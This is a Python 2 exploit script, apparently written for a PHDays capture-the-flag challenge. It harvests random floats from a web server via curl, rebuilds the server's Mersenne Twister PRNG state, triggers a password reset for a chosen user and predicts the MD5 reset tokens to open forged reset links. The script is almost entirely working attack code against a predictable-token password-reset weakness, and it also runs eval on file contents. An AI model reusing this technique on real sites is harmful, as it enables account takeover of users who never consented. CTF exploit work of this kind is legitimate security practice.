#!/usr/bin/env python2## see: https://github.com/fx5/not_random and related article
import sysimport osimport gzipimport randomfrom itertools import imapimport hashlib
from lxml.etree import parse
from progress import ProgressBar
#HOST = 'example.com'HOST = 'ctf.phdays.com:12391'USERN = int(sys.argv[1])EMAIL = 'user%[email protected]' % USERNBROWSER = 'chromium'
print "Loading Magic"f = gzip.GzipFile("magic_data","r")magic = eval(f.read())f.close()print "Done."
print "Working...."
progress = ProgressBar()
def rebuild_random_from_string(string):    return rebuild_random(list(imap(ord, string)))
def rebuild_from_floats(floats):    s = "".join(chr(int(i * 256)) for i in floats)    return rebuild_random_from_string(s)
def rebuild_random(vals):
    def getbit(bit):        assert bit >= 0        return (vals[bit // 8] >> (7 - bit % 8)) & 1
    state = []
    for i in xrange(0, 624):        progress.progress(i / 623.)        val = 0        data = magic[i % 2]        for bit in data:            val <<= 1            for b in bit:                val ^= getbit(b+(i//2)*8 - 8)        state.append(val)
    state.append(0)
    ran = random.Random()    ran.setstate((3, tuple(state),None))
    for i in xrange(len(vals) - 3201 + 394):        ran.randint(0,255)
    return ran
def random_floats(length, random_module=random):    return [random_module.random() for i in range(length)]
def get_floats(n=3360):
    os.popen(r'''    curl -v \        http://%(host)s/\?count\=%(count)d -o rw500_resp \        http://%(host)s/password_reset/ \            -d csrfmiddlewaretoken=23ca27c3882e0b9a1964d96e44c0481e \            -d email=%(email)s \            -H 'Cookie: csrftoken=23ca27c3882e0b9a1964d96e44c0481e'    cat rw500_resp | \        sed 's/=\([0-9.]\+\)/="\1"/g' | \        sed 's,\(rand .*\)>,\1/>,g' >rw500_resp.xml    ''' % {'host': HOST, 'count': n, 'email': EMAIL}    ).close()
    xml = parse('rw500_resp.xml')
    return list(map(float, xml.xpath('rand/@value')))
if __name__ == "__main__":
    floats = get_floats(3400)
    my_random = rebuild_from_floats(floats[:3360])
    for n, (i, j) in enumerate(zip(floats[-40:],                                   [my_random.random()                                    for i in range(40)])):        assert '%.16f' % i == '%.16f' % j, Exception('%d (%f)' % (            n, abs(i - j)        ))
    for i in range(5):        url = 'http://%s/reset/%d-%s/' % (            HOST, USERN,            hashlib.md5('%.16f' % my_random.random()).hexdigest()        )        print(url)        os.popen3('%s %s' % (BROWSER, url))